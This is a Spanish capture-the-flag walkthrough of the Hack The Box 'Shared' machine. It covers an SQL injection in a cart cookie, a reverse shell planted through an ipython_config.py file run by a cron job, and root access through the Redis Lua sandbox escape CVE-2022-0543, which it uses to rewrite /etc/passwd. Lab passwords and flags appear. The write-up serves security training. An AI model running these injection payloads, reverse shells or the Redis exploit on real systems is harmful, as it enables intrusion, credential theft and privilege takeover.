Shared
11 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.172
- Fecha: 23 / 07 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.172 -p 22,80,443
Nmap scan report for 10.10.11.172
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
| tls-nextprotoneg:
| h2
|_ http/1.1
| tls-alpn:
| h2
|_ http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 17.63 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS).
Enumeración
Si vamos a http://10.10.11.172
, se nos redirige a https://shared.htb
, por lo que tenemos que meter shared.htb
como dominio en /etc/hosts
. Esta es la página principal:
Muestra una tienda de e-commerce hecha con PrestaShop. Antes de enumerar la página, vamos a enumerar más subdominios con ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.172 -r -H 'Host: FUZZ.shared.htb' -fl 1495
checkout [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 1459ms]
Vale, después de meter checkout.shared.htb
en /etc/hosts
, tenemos:
Aquí podemos probar cualquier cosa y vemos un mensaje de alerta raro:
De hecho, este subdominio se usa para gestionar los pedidos desde la página principal. Podemos pinchar en cualquier producto, añadirlo al carrito y pagar. Tendremos una cookie de sesión que contiene la información del carrito:
La cookie tiene codificación de URL, vamos a decodificarla con Node.js:
$ node
Welcome to Node.js v18.7.0.
Type ".help" for more information.
> decodeURIComponent('%7B%22YCS98E4A%22%3A%221%22%7D')
'{"YCS98E4A":"1"}'
Encontrando un SQLi
Vale, se trata de un documento JSON. ¿Qué pasa si modificamos la cookie y usamos un payload de inyección de código SQL? Vamos a probar:
> encodeURIComponent(`{"' or 1=1-- -":"1"}`)
"%7B%22'%20or%201%3D1--%20-%22%3A%221%22%7D"
Ahora podemos poner la cookie en el navegador y ver lo que tenemos:
Si miramos bien, veremos que el producto del carrito es diferente del que teníamos antes, por lo que la inyección ha tenido efecto. Ahora podemos usar consultas UNION
para ver el número de columnas de la tabla actual y descubrir la columna que se refleja en la página.
Finalmente, veremos que tenemos 3 columnas y que la segunda es la que se refleja:
> encodeURIComponent(`{"' union select 1,2,3-- -":"1"}`)
"%7B%22'%20union%20select%201%2C2%2C3--%20-%22%3A%221%22%7D"
Acceso a la máquina
Para enumerar la base de datos, decidí escribir un script sencillo en Node.js llamado sqli.js
(explicación detallada aquí). Tendremos esta salida en la columna reflejada:
$ node sqli.js "' union select 1,'asdf',3-- -"
asdf
Explotación de SQLi
Vamos a realizar la enumeración básica (base de datos, usuario y versión):
$ node sqli.js "' union select 1,database(),3-- -"
checkout
$ node sqli.js "' union select 1,user(),3-- -"
checkout@localhost
$ node sqli.js "' union select 1,version(),3-- -"
10.5.15-MariaDB-0+deb11u1
Ahora vamos a listar nombres de tablas:
$ node sqli.js "' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='checkout'),3-- -"
user,product
Vale, user
y product
. La primera parece más prometedora, por lo que vamos a enumerar sus columnas:
$ node sqli.js "' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3-- -"
id,username,password
Obviamente, consultaremos username
y password
:
$ node sqli.js "' union select 1,(select concat(username,':',password) from user),3-- -"
james_mason:fc895d4eddc2fc12f995e18c865cf273
Y con esto, tenemos un usuario y un hash de contraseña. Si vamos a crackstation.net, obtendremos la contraseña correspondiente (Soleil101
) con un ataque de tabla arcoíris:
Enumeración del sistema
En este punto, podemos acceder a la máquina por SSH usando las credenciales anteriores:
$ ssh james_mason@10.10.11.172
james_mason@10.10.11.172's password:
james_mason@shared:~$ ls -la
total 20
drwxr-xr-x 2 james_mason james_mason 4096 Jul 14 13:46 .
drwxr-xr-x 4 root root 4096 Jul 14 13:46 ..
lrwxrwxrwx 1 root root 9 Mar 20 09:42 .bash_history -> /dev/null
-rw-r--r-- 1 james_mason james_mason 220 Mar 20 09:23 .bash_logout
-rw-r--r-- 1 james_mason james_mason 3526 Mar 20 09:23 .bashrc
-rw-r--r-- 1 james_mason james_mason 807 Mar 20 09:23 .profile
Pero no hay flag user.txt
todavía, pertenece a otro usuario llamado dan_smith
:
james_mason@shared:~$ find / -name user.txt 2>/dev/null
/home/dan_smith/user.txt
james_mason@shared:~$ ls /home
dan_smith james_mason
Podemos ver algunos archivos relacionados con ipython
que pertenecen a dan_smith
:
james_mason@shared:~$ ls -la /home/dan_smith/
total 32
drwxr-xr-x 4 dan_smith dan_smith 4096 Jul 14 13:47 .
drwxr-xr-x 4 root root 4096 Jul 14 13:46 ..
lrwxrwxrwx 1 root root 9 Mar 20 09:42 .bash_history -> /dev/null
-rw-r--r-- 1 dan_smith dan_smith 220 Aug 4 2021 .bash_logout
-rw-r--r-- 1 dan_smith dan_smith 3526 Aug 4 2021 .bashrc
drwxr-xr-x 3 dan_smith dan_smith 4096 Jul 14 13:47 .ipython
-rw-r--r-- 1 dan_smith dan_smith 807 Aug 4 2021 .profile
drwx------ 2 dan_smith dan_smith 4096 Jul 14 13:47 .ssh
-rw-r----- 1 root dan_smith 33 Aug 8 19:07 user.txt
james_mason@shared:~$ find / -user dan_smith 2>/dev/null
/home/dan_smith
/home/dan_smith/.bashrc
/home/dan_smith/.bash_logout
/home/dan_smith/.profile
/home/dan_smith/.ipython
/home/dan_smith/.ipython/profile_default
/home/dan_smith/.ipython/profile_default/startup
/home/dan_smith/.ipython/profile_default/startup/README
/home/dan_smith/.ipython/profile_default/pid
/home/dan_smith/.ipython/profile_default/history.sqlite
/home/dan_smith/.ipython/profile_default/log
/home/dan_smith/.ipython/profile_default/security
/home/dan_smith/.ipython/profile_default/db
/home/dan_smith/.ssh
Además, pertenecemos a un grupo llamado developer
, y podemos escribir en /opt/scripts_review
:
james_mason@shared:/tmp$ id
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)
james_mason@shared:/tmp$ find / -group developer 2>/dev/null
/opt/scripts_review
james_mason@shared:/tmp$ ls -la /opt/scripts_review/
total 8
drwxrwx--- 2 root developer 4096 Jul 14 13:46 .
drwxr-xr-x 3 root root 4096 Jul 14 13:46 ..
Movimiento lateral al usuario dan_smith
Si subimos pspy
a la máquina y lo ejecutamos, veremos algunos comandos sospechosos:
james_mason@shared:/tmp$ wget -qO .pspy 10.10.17.44/pspy64s
james_mason@shared:/tmp$ chmod +x .pspy
james_mason@shared:/tmp$ ./.pspy
...
CMD: UID=0 PID=2624 | /usr/sbin/CRON -f
CMD: UID=1001 PID=2629 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
CMD: UID=0 PID=2628 | /bin/bash /root/c.sh
CMD: UID=0 PID=2627 | /bin/bash /root/c.sh
CMD: UID=0 PID=2626 | /bin/sh -c /root/c.sh
CMD: UID=1001 PID=2630 | /usr/bin/pkill ipython
CMD: UID=1001 PID=2631 | /usr/bin/python3 /usr/local/bin/ipython
CMD: UID=0 PID=2635 | /bin/bash /root/c.sh
CMD: UID=0 PID=2634 | /bin/bash /root/c.sh
CMD: UID=0 PID=2637 | pidof redis-server
CMD: UID=0 PID=2636 | perl -ne s/\((\d+)\)/print " $1"/ge
El usuario con UID 1001 (dan_smith
) está cambiándose al directorio /opt/scripts_review
y ejecutando ipython
.
Después de un poco de investigación, vemos que ipython
proporciona un montón de funcionalidades que se pueden configurar en un “dotfile” llamado ipython_config.py
. Por defecto, debería estar en el directorio personal del usuario, pero si ipython
no lo encuentra ahí, entonces lo busca en el directorio actual. Se puede encontrar un ejemplo de ipython_config.py
aquí.
Por tanto, la idea es añadir un archivo llamado ipython_config.py
en /opt/scripts_review
con código Python que será ejecutado por dan_smith
. Por ejemplo, una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
james_mason@shared:/tmp$ cat > /opt/scripts_review/ipython_config.py
c.InteractiveShellApp.code_to_run = 'import os; os.system("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash")'
^C
Y después de unos segundos, obtendremos la conexión como dan_smith
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.172.
Ncat: Connection from 10.10.11.172:51336.
bash: cannot set terminal process group (2901): Inappropriate ioctl for device
bash: no job control in this shell
dan_smith@shared:/opt/scripts_review$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
dan_smith@shared:/opt/scripts_review$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
dan_smith@shared:/opt/scripts_review$ export TERM=xterm
dan_smith@shared:/opt/scripts_review$ export SHELL=bash
dan_smith@shared:/opt/scripts_review$ stty rows 50 columns 158
Ahora podemos leer la flag user.txt
:
dan_smith@shared:/opt/scripts_review$ cd
dan_smith@shared:~$ cat user.txt
8cf849aae38747f376fba467db547f98
Escalada de privilegios
Este usuario pertenece al grupo sysadmin
, que posee un archivo ELF en /usr/local/bin/redis_connector_dev
:
dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
dan_smith@shared:~$ find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev
dan_smith@shared:~$ ls -l /usr/local/bin/redis_connector_dev
-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
dan_smith@shared:~$ file /usr/local/bin/redis_connector_dev
/usr/local/bin/redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped
Análisis de redis_connector_dev
Podemos abrir el binario en Ghidra. Esto es main.main
:
void main.main(sigaction *param_1, sigaction *param_2, undefined8 param_3, undefined8 param_4, sigaction *param_5, sigaction *param_6) {
undefined8 uVar1;
undefined *puVar2;
long lVar3;
undefined8 extraout_RDX;
undefined8 extraout_RDX_00;
undefined8 extraout_RDX_01;
long in_FS_OFFSET;
undefined in_stack_00000000;
undefined7 in_stack_00000001;
void *pvVar4;
undefined8 uVar5;
long lVar6;
undefined local_58[16];
undefined local_48[16];
undefined local_38[16];
undefined local_28[16];
undefined local_18[16];
lVar3 = *(long *)(in_FS_OFFSET + 0xfffffff8);
if (*(undefined **)(ulong *)(lVar3 + 0x10) <= local_38 + 8 &&
local_38 + 8 != *(undefined **)(ulong *)(lVar3 + 0x10)) {
local_48 = CONCAT88(0x6b0760, 0x6265a0);
pvVar4 = os.Stdout;
fmt.Fprintln(param_1, param_2, go.itab.*os.File, io.Writer, local_48, param_5, param_6,
(long)go.itab.*os.File, io.Writer, os.Stdout, (sigaction **)local_48, 1, 1);
runtime.newobject();
*(undefined8 *)((long)pvVar4 + 0x18) = 0xe;
*(undefined **)((long)pvVar4 + 0x10) = &DAT_0067171e;
*(undefined8 *)((long)pvVar4 + 0x38) = 0x10;
*(undefined **)((long)pvVar4 + 0x30) = &DAT_00671c55;
*(undefined8 *)((long)pvVar4 + 0x40) = 0;
github.com/go-redis/redis.NewClient
(param_1, param_2, extraout_RDX, &DAT_00671c55, param_5, param_6, pvVar4);
puVar2 = &DAT_006265a0;
local_58 = CONCAT88(0x6b0770, 0x6265a0);
lVar6 = 1;
fmt.Fprintln(param_1, param_2, ocal_58, &DAT_006265a0, param_5, param_6,
(long)go.itab.*os.File, io.Writer, os.Stdout, (sigaction **)local_58, 1, 1);
local_38 = CONCAT88(6, 0x66f8d4);
uVar5 = 1;
github.com/go-redis/redis.(*cmdable).Info
(param_1, param_2, extraout_RDX_00, puVar2, param_5, param_6,
(undefined8 *)((long)pvVar4 + 0x48), (undefined8 *)local_38, 1);
lVar3 = *(long *)(lVar6 + 0x18);
uVar1 = *(undefined8 *)(lVar6 + 0x20);
runtime.convTstring(param_1, param_2, uVar1, lVar3, param_5, param_6, *(undefined8 *)(lVar6 + 0x30),
*(long *)(lVar6 + 0x38));
if (lVar3 != 0) {
lVar3 = *(long *)(lVar3 + 8);
}
local_28 = CONCAT88(uVar5, 0x6265a0);
local_18 = CONCAT88(uVar1, lVar3);
fmt.Fprintln(param_1, param_2, &DAT_006265a0, go.itab.*os.File, io.Writer, param_5, param_6,
(long)go.itab.*os.File, io.Writer, os.Stdout, (sigaction **)local_28, 2, 2);
return;
}
runtime.morestack_noctxt
(param_1, param_2, param_3, lVar3, (undefined (*) [16])param_5, param_6,
CONCAT71(in_stack_00000001, in_stack_00000000));
main.main(param_1, param_2, extraout_RDX_01, lVar3, param_5, param_6);
return;
}
Como está compilado en Go, es un poco difícil de leer, pero podemos ver que utiliza go-redis
. Si vamos a su página de GitHub, veremos que se utiliza NewClient
para conectarse a una instancia de Redis usando la contraseña correspondiente:
Existe un ejemplo en el mismo repositorio:
Por tanto, el host y el puerto se pasan en el primer parámetro, que es DAT_0067171e
en el código fuente descompilado (localhost:6379
):
DAT_0067171e XREF[5]: github.com/go-redis/redis.(*Opti
github.com/go-redis/redis.(*Opti
github.com/go-redis/redis.(*Opti
main.main:0060a944(*),
main.main:0060a94b(*)
0067171e 6c ?? 6Ch l
0067171f 6f ?? 6Fh o
00671720 63 ?? 63h c
00671721 61 ?? 61h a
00671722 6c ?? 6Ch l
00671723 68 ?? 68h h
00671724 6f ?? 6Fh o
00671725 73 ?? 73h s
00671726 74 ?? 74h t
00671727 3a ?? 3Ah :
00671728 36 ?? 36h 6
00671729 33 ?? 33h 3
0067172a 37 ?? 37h 7
0067172b 39 ?? 39h 9
Y la contraseña está en DAT_00671c55
:
DAT_00671c55 XREF[2]: main.main:0060a957(*),
main.main:0060a95e(*)
00671c55 46 ?? 46h F
00671c56 32 ?? 32h 2
00671c57 57 ?? 57h W
00671c58 48 ?? 48h H
00671c59 71 ?? 71h q
00671c5a 4a ?? 4Ah J
00671c5b 55 ?? 55h U
00671c5c 7a ?? 7Ah z
00671c5d 32 ?? 32h 2
00671c5e 57 ?? 57h W
00671c5f 45 ?? 45h E
00671c60 7a ?? 7Ah z
00671c61 3d ?? 3Dh =
00671c62 47 ?? 47h G
00671c63 71 ?? 71h q
00671c64 71 ?? 71h q
00671c65 47 ?? 47h G
00671c66 43 ?? 43h C
00671c67 20 ?? 20h
00671c68 73 ?? 73h s
00671c69 63 ?? 63h c
00671c6a 61 ?? 61h a
00671c6b 76 ?? 76h v
00671c6c 65 ?? 65h e
00671c6d 6e ?? 6Eh n
00671c6e 67 ?? 67h g
00671c6f 65 ?? 65h e
00671c70 20 ?? 20h
00671c71 77 ?? 77h w
00671c72 61 ?? 61h a
00671c73 69 ?? 69h i
00671c74 74 ?? 74h t
00671c75 47 ?? 47h G
00671c76 43 ?? 43h C
00671c77 20 ?? 20h
00671c78 77 ?? 77h w
00671c79 6f ?? 6Fh o
00671c7a 72 ?? 72h r
00671c7b 6b ?? 6Bh k
00671c7c 65 ?? 65h e
00671c7d 72 ?? 72h r
00671c7e 20 ?? 20h
00671c7f 28 ?? 28h (
00671c80 69 ?? 69h i
00671c81 64 ?? 64h d
00671c82 6c ?? 6Ch l
00671c83 65 ?? 65h e
00671c84 29 ?? 29h )
Y así, tenemos esta contraseña: F2WHqJUz2WEz=GqqGC
. Como el binario se conecta a Redis, podemos probar a conectarnos usando redis-cli
:
dan_smith@shared:~$ redis-cli
127.0.0.1:6379> auth F2WHqJUz2WEz=GqqGC
(error) WRONGPASS invalid username-password pair
Pero es incorrecta… Como Go trata las strings de manera inusual, Ghidra no es capaz de analizar las strings correctamente a veces (las strings en Go no terminan en byte nulo). Vamos a probar a quitar algunos caracteres por el final:
127.0.0.1:6379> auth F2WHqJUz2WEz=GqqG
(error) WRONGPASS invalid username-password pair
127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
OK
Perfecto, estamos dentro.
Explotación de Redis
Existe una vulnerabilidad reciente relacionada con Redis que permite a un atacante ejecutar código en Lua para escapar de la sandbox y ganar ejecución de comandos como root
(el usuario que corre Redis). Se trata del CVE-2022-0543.
Un ejemplo de explotación se puede encontrar aquí. Y es explotable:
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"
Ahora podemos modificar /etc/passwd
y ponerle una contraseña a root
:
$ openssl passwd 7Rocky
CohYEKIMKecEQ
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("sed -i s/root:x/root:CohYEKIMKecEQ/g /etc/passwd", "r"); local res = f:read("*a"); f:close(); return res' 0
""
127.0.0.1:6379>
dan_smith@shared:~$ head -1 /etc/passwd
root:CohYEKIMKecEQ:0:0:root:/root:/bin/bash
Y como la contraseña ha cambiado, podemos cambiarnos al usuario root
usando 7Rocky
como contraseña:
dan_smith@shared:~$ su root
Password:
root@shared:/home/dan_smith# cat /root/root.txt
6eedbf18e767bd0887a363166c42ebc0